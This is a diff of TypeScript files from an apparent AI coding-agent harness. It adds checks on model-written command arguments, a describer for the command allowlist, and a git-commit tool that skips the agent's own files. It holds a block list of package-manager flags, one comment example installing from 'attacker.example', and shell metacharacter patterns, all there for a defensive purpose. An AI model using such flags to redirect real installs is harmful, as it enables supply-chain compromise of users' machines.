+ * fragment reused everywhere an agent needs to know whether "argv" can
4
+ * actually serve a given request.
5
+ *
6
+ * #1937, first half: name the permitted argv forms instead of the bare "only
7
+ * some commands and forms are permitted", which the model guessed against 32
8
+ * times, denied every time, across three runs. `patterns` must be the ACTUAL
9
+ * compiled Exec grant for this project/stage, never the built-in constant, so
10
+ * an overridden grant is described honestly.
11
+ *
12
+ * run-2026-09-14T05-55-54-734Z, Shape B: the same text is also what makes a
13
+ * RunCommand subcommand denial honest about "argv" rather than recommending
14
+ * a branch the compiled grant will not actually honour (src/tools/policy.ts
15
+ * `verbBranch`) -- extracted here so both call sites render the identical
16
+ * grant the same way, instead of two texts that could drift apart.
17
+ */
18
+ export declare function describeExecAllowlist(patterns: readonly string[]): string;
@@ -0,0 +1,24 @@
1
+ /**
2
+ * Renders a compiled Exec grant's raw patterns as prose, one sentence
3
+ * fragment reused everywhere an agent needs to know whether "argv" can
4
+ * actually serve a given request.
5
+ *
6
+ * #1937, first half: name the permitted argv forms instead of the bare "only
7
+ * some commands and forms are permitted", which the model guessed against 32
8
+ * times, denied every time, across three runs. `patterns` must be the ACTUAL
9
+ * compiled Exec grant for this project/stage, never the built-in constant, so
10
+ * an overridden grant is described honestly.
11
+ *
12
+ * run-2026-09-14T05-55-54-734Z, Shape B: the same text is also what makes a
13
+ * RunCommand subcommand denial honest about "argv" rather than recommending
14
+ * a branch the compiled grant will not actually honour (src/tools/policy.ts
15
+ * `verbBranch`) -- extracted here so both call sites render the identical
16
+ * grant the same way, instead of two texts that could drift apart.
17
+ */
18
+ export function describeExecAllowlist(patterns) {
19
+ if (patterns.includes("*"))
20
+ return "any command is permitted";
21
+ if (patterns.length === 0)
22
+ return "no forms are currently granted";
23
+ return `permitted forms: ${patterns.join(", ")}`;
24
+ }
@@ -0,0 +1,69 @@
1
+ /**
2
+ * The two refusals that bracket the grant match for a model-authored argv.
3
+ *
4
+ * `validateArgv` runs FIRST, before any pattern matching, so a malformed
5
+ * token can never be admitted by a `*` in a grant — the allowlist matches
6
+ * argv shapes, and a shape check must reject garbage before a wildcard gets
7
+ * a chance to wave it through. `deniedFlag` runs AFTER the grant match,
8
+ * because a prefix grant (e.g. `bun add*`) gates the verb, not the payload:
9
+ * `bun add x --registry https://attacker.example` still satisfies `bun add*`
10
+ * while quietly changing where the installed code comes from. The verb gate
11
+ * cannot see that — only a payload-aware check after the match can.
12
+ *
13
+ * Do not reorder these two checks, and do not merge them into one pass:
14
+ * a later reader who "simplifies" this into a single sweep silently
15
+ * removes the guarantee that garbage never reaches the allowlist.
16
+ */
17
+ export declare function validateArgv(argv: unknown): string | undefined;
18
+ /**
19
+ * Flags that redirect where code comes from, where it lands, or whether an
20
+ * untrusted source is accepted at all.
21
+ *
22
+ * Not a general "unsafe flag" list — it is specifically the set a verb gate
23
+ * cannot see. A prefix grant like `npm install*` approves the verb "install
24
+ * a package the model named"; it says nothing about `--registry`,
25
+ * `--index-url`/`--extra-index-url`, `-g`/`--global`, `--prefix`, or
26
+ * `--config`/`--userconfig`, each of which can point the installer at a
27
+ * different source or a different filesystem location entirely.
28
+ * `--extra-index-url` is included alongside `--index-url` because pip
29
+ * treats it identically for this purpose: it adds a second, attacker-chosen
30
+ * index that a dependency can resolve from, it does not merely replace one.
31
+ * `--trusted-host` (pip) and `--cert` (pip) sit in the same family from the
32
+ * trust side rather than the source side: they change whether a source is
33
+ * *accepted* — `--trusted-host` disables TLS/host verification for a given
34
+ * host, `--cert` swaps the CA bundle used to validate it. `--strict-ssl`
35
+ * and `--cafile` are the same trust-boundary controls in the npm/yarn/bun
36
+ * family; `--ca` is npm's inline-certificate sibling of `--cafile` (a CA
37
+ * cert passed as a string instead of a file path), so it is included for
38
+ * the same reason. `--proxy` and `--https-proxy` belong to the source
39
+ * category, not the trust category: they change the transport endpoint
40
+ * every registry fetch travels through, which is the same outcome as
41
+ * `--registry` reached by a different mechanism — an attacker-controlled
42
+ * proxy MITMs the package fetch whether or not the registry URL itself was
43
+ * rewritten. Blocking `--registry` while permitting `--proxy` would close
44
+ * the front door and leave the side door open. `--noproxy` is included for
45
+ * the mirror-image reason: it routes traffic around a proxy an
46
+ * organization may be relying on as an egress control. `--unsafe-perm` is
47
+ * here for the same reason from the other direction: it removes a safety
48
+ * check on what an installed package's scripts are allowed to do. These
49
+ * are enumerated, not pattern-matched, because the point is precisely that
50
+ * no verb pattern can be trusted to imply their absence.
51
+ *
52
+ * `--client-cert` is deliberately NOT in this list: it presents a
53
+ * credential to a host, it does not change which host is contacted or
54
+ * whether an untrusted host is accepted. That is a different category —
55
+ * widening this list past "changes where code comes from, or whether an
56
+ * untrusted source is accepted" makes the criterion useless.
57
+ */
58
+ export declare const DENIED_FLAGS: readonly string[];
59
+ /**
60
+ * Normalizes "--flag=value" to "--flag" so a denylist check does not depend
61
+ * on whether the model wrote the value as a separate token, and lowercases
62
+ * it so a differently-cased spelling (e.g. `--Registry`) can't slip past a
63
+ * case-sensitive list membership check. Shared with `src/tools/package-managers-table.ts`,
64
+ * which screens for a different flag family (workspace-scoping and
65
+ * scripts-control flags) using the same normalization — reuse this rather
66
+ * than writing a second, subtly different matcher.
67
+ */
68
+ export declare function normalizeFlagToken(element: string): string;
69
+ export declare function deniedFlag(argv: readonly string[]): string | undefined;
@@ -0,0 +1,151 @@
1
+ /**
2
+ * The two refusals that bracket the grant match for a model-authored argv.
3
+ *
4
+ * `validateArgv` runs FIRST, before any pattern matching, so a malformed
5
+ * token can never be admitted by a `*` in a grant — the allowlist matches
6
+ * argv shapes, and a shape check must reject garbage before a wildcard gets
7
+ * a chance to wave it through. `deniedFlag` runs AFTER the grant match,
8
+ * because a prefix grant (e.g. `bun add*`) gates the verb, not the payload:
9
+ * `bun add x --registry https://attacker.example` still satisfies `bun add*`
10
+ * while quietly changing where the installed code comes from. The verb gate
11
+ * cannot see that — only a payload-aware check after the match can.
12
+ *
13
+ * Do not reorder these two checks, and do not merge them into one pass:
14
+ * a later reader who "simplifies" this into a single sweep silently
15
+ * removes the guarantee that garbage never reaches the allowlist.
16
+ */
17
+ // Shell metacharacters that would let an argv element break out of "one
18
+ // literal argument" and be reinterpreted by a shell or a naive re-parse
19
+ // downstream — even though this path never invokes a shell itself, nothing
20
+ // downstream may assume these are absent. Quotes and a backslash are
21
+ // included for the same defense-in-depth reason as the rest of this class:
22
+ // they are the escaping/quoting primitives a shell or re-parser would use
23
+ // to reinterpret the token.
24
+ //
25
+ // Deliberately EXCLUDED: glob and history characters (`* ? [ ] ! #`).
26
+ // `[` and `]` in particular are not a shell-injection vector on their own —
27
+ // blocking them would reject `pkg[extra]`, a legitimate and common Python
28
+ // install specifier (e.g. `uv add "httpx[http2]"`), turning a correct
29
+ // install into a mysterious refusal. Do not "complete the set" by adding
30
+ // these back without re-solving that regression.
31
+ const METACHARACTERS = /[;&|$`()<>\n\r'"\\]/;
32
+ export function validateArgv(argv) {
33
+ if (!Array.isArray(argv))
34
+ return "argv must be an array of strings";
35
+ if (argv.length === 0)
36
+ return "argv must not be empty";
37
+ for (const element of argv) {
38
+ if (typeof element !== "string")
39
+ return "every argv element must be a string";
40
+ if (element.length === 0)
41
+ return "argv elements must not be empty";
42
+ if (METACHARACTERS.test(element))
43
+ return `argv element contains a shell metacharacter: ${element}`;
44
+ // A leading "~" depends on shell expansion this path never performs, so
45
+ // it would silently resolve to nothing (or to the wrong home directory)
46
+ // rather than to what the model intended.
47
+ if (element.startsWith("~"))
48
+ return `argv element must not start with "~": ${element}`;
49
+ }
50
+ // argv[0] is the binary. It must resolve through PATH, not through a
51
+ // relative or absolute path — a path lets the model point execution at an
52
+ // arbitrary file it just wrote, which is exactly what the allowlist of
53
+ // known verbs (bun, npm, pip, ...) exists to prevent. This check runs on
54
+ // argv[0] like every other element above, not only on the arguments that
55
+ // follow it — a binary-only exemption would leave a hole an allowlist
56
+ // grant could never close.
57
+ const binary = argv[0];
58
+ if (binary.includes("/") || binary.includes("\\")) {
59
+ return `the command must resolve through PATH, not a path: ${binary}`;
60
+ }
61
+ return undefined;
62
+ }
63
+ /**
64
+ * Flags that redirect where code comes from, where it lands, or whether an
65
+ * untrusted source is accepted at all.
66
+ *
67
+ * Not a general "unsafe flag" list — it is specifically the set a verb gate
68
+ * cannot see. A prefix grant like `npm install*` approves the verb "install
69
+ * a package the model named"; it says nothing about `--registry`,
70
+ * `--index-url`/`--extra-index-url`, `-g`/`--global`, `--prefix`, or
71
+ * `--config`/`--userconfig`, each of which can point the installer at a
72
+ * different source or a different filesystem location entirely.
73
+ * `--extra-index-url` is included alongside `--index-url` because pip
74
+ * treats it identically for this purpose: it adds a second, attacker-chosen
75
+ * index that a dependency can resolve from, it does not merely replace one.
76
+ * `--trusted-host` (pip) and `--cert` (pip) sit in the same family from the
77
+ * trust side rather than the source side: they change whether a source is
78
+ * *accepted* — `--trusted-host` disables TLS/host verification for a given
79
+ * host, `--cert` swaps the CA bundle used to validate it. `--strict-ssl`
80
+ * and `--cafile` are the same trust-boundary controls in the npm/yarn/bun
81
+ * family; `--ca` is npm's inline-certificate sibling of `--cafile` (a CA
82
+ * cert passed as a string instead of a file path), so it is included for
83
+ * the same reason. `--proxy` and `--https-proxy` belong to the source
84
+ * category, not the trust category: they change the transport endpoint
85
+ * every registry fetch travels through, which is the same outcome as
86
+ * `--registry` reached by a different mechanism — an attacker-controlled
87
+ * proxy MITMs the package fetch whether or not the registry URL itself was
88
+ * rewritten. Blocking `--registry` while permitting `--proxy` would close
89
+ * the front door and leave the side door open. `--noproxy` is included for
90
+ * the mirror-image reason: it routes traffic around a proxy an
91
+ * organization may be relying on as an egress control. `--unsafe-perm` is
92
+ * here for the same reason from the other direction: it removes a safety
93
+ * check on what an installed package's scripts are allowed to do. These
94
+ * are enumerated, not pattern-matched, because the point is precisely that
95
+ * no verb pattern can be trusted to imply their absence.
96
+ *
97
+ * `--client-cert` is deliberately NOT in this list: it presents a
98
+ * credential to a host, it does not change which host is contacted or
99
+ * whether an untrusted host is accepted. That is a different category —
100
+ * widening this list past "changes where code comes from, or whether an
101
+ * untrusted source is accepted" makes the criterion useless.
102
+ */
103
+ export const DENIED_FLAGS = [
104
+ "--registry",
105
+ "--index-url",
106
+ "--extra-index-url",
107
+ "--index",
108
+ "-i",
109
+ "--trusted-host",
110
+ "--cert",
111
+ "--strict-ssl",
112
+ "--cafile",
113
+ "--ca",
114
+ "--proxy",
115
+ "--https-proxy",
116
+ "--noproxy",
117
+ "--config",
118
+ "--userconfig",
119
+ "--global",
120
+ "-g",
121
+ "--prefix",
122
+ "--unsafe-perm",
123
+ ];
124
+ /**
125
+ * Normalizes "--flag=value" to "--flag" so a denylist check does not depend
126
+ * on whether the model wrote the value as a separate token, and lowercases
127
+ * it so a differently-cased spelling (e.g. `--Registry`) can't slip past a
128
+ * case-sensitive list membership check. Shared with `src/tools/package-managers-table.ts`,
129
+ * which screens for a different flag family (workspace-scoping and
130
+ * scripts-control flags) using the same normalization — reuse this rather
131
+ * than writing a second, subtly different matcher.
132
+ */
133
+ export function normalizeFlagToken(element) {
134
+ const raw = element.includes("=") ? element.split("=")[0] : element;
135
+ return raw.toLowerCase();
136
+ }
137
+ export function deniedFlag(argv) {
138
+ for (const element of argv) {
139
+ const name = normalizeFlagToken(element);
140
+ for (const denied of DENIED_FLAGS) {
141
+ if (name === denied)
142
+ return denied;
143
+ // Short options conventionally accept their value in the same token
144
+ // (`pip -t/tmp/out`, `pip -ihttps://index`). Exact matching alone lets
145
+ // those forms bypass destination/source controls.
146
+ if (denied.length === 2 && name.startsWith(denied) && name.length > denied.length)
147
+ return denied;
148
+ }
149
+ }
150
+ return undefined;
151
+ }
@@ -0,0 +1,59 @@
1
+ import type { CodingTool } from "./registry.ts";
2
+ export declare function buildCommitArgvs(input: Record<string, unknown>): {
3
+ add: string[];
4
+ commit: string[];
5
+ } | {
6
+ error: string;
7
+ };
8
+ /** One unresolved path, and why `partitionNaxOwnedPaths` could not classify it. */
9
+ export interface UnknownPathResult {
10
+ path: string;
11
+ reason: string;
12
+ }
13
+ /**
14
+ * Split `paths` into ones GitCommit may stage and ones it must refuse, per the
15
+ * caller-supplied `ignorePatterns` (nax passes `NAX_GITIGNORE_ENTRIES` -- the
16
+ * same SSOT `nax init`, `WorktreeManager`, and
17
+ * `scripts/check-nax-artifacts-untracked.ts` all enforce).
18
+ *
19
+ * A real run staged its own `.nax/scratchpad/*.md` files through this exact
20
+ * tool (no filter existed at all): the ignore-file reconcile in
21
+ * `src/execution/lifecycle/gitignore-reconcile.ts` closes this for `git add -A`
22
+ * and human adds, but is per-clone -- a fresh clone or CI has no local
23
+ * `.git/info/exclude` yet, so this tool needs its own, independent check.
24
+ *
25
+ * The `ignorePatterns` are gitignore PATTERNS (`**\/.nax/scratchpad/`), not
26
+ * literal paths -- hand-rolled substring/glob matching has bitten this repo
27
+ * before (see the comment in `src/worktree/manager.ts` on `/foo/runs/` wrongly
28
+ * "containing" `runs/`). Delegate to `git check-ignore` itself, exactly as
29
+ * `scripts/check-nax-artifacts-untracked.ts` delegates to `git ls-files` --
30
+ * both feed `NAX_GITIGNORE_ENTRIES` to git via a temp exclude file rather than
31
+ * re-implementing pattern matching. `--no-index` is required: a path GitCommit
32
+ * is being asked to stage for the first time is not yet in the index, and
33
+ * `check-ignore` without it can decline to answer for such a path.
34
+ *
35
+ * THREE-STATE, fail-closed (code review, post-Fix-3): `git check-ignore`
36
+ * exits 0 (ignored), 1 (not ignored) or 128 (fatal -- e.g. path outside the
37
+ * repo, or not a git repo at all). `gitWithTimeout` additionally collapses a
38
+ * hung subprocess to `exitCode: 1` with `timedOut: true` -- so `exitCode ===
39
+ * 1` ALONE is not "not ignored", it is ALSO what a timeout looks like. Reading
40
+ * it as "not ignored" without checking `timedOut` first put a nax-owned path
41
+ * straight into `kept` on any error or timeout: fail-OPEN, silently, exactly
42
+ * the class of bug this tool exists to prevent -- and under exactly the
43
+ * contention (parallel worktrees stressing git) most likely to produce one.
44
+ * A path that cannot be classified goes to neither `kept` nor `skipped`; it
45
+ * is reported by the caller, loudly, as its own category.
46
+ *
47
+ * One `check-ignore` subprocess per path (not batched into one call): batching
48
+ * would collapse this exact three-state distinction, since git's exit code for
49
+ * a multi-path invocation reflects "at least one path matched", not a per-path
50
+ * verdict, and a single fatal path (exit 128) would poison every other path in
51
+ * the batch as unknown even when they are perfectly answerable individually.
52
+ * Fine for the batch sizes a single commit call names.
53
+ */
54
+ export declare function partitionNaxOwnedPaths(root: string, paths: string[], ignorePatterns: readonly string[]): Promise<{
55
+ kept: string[];
56
+ skipped: string[];
57
+ unknown: UnknownPathResult[];
58
+ }>;
59
+ export declare const gitCommitTool: CodingTool;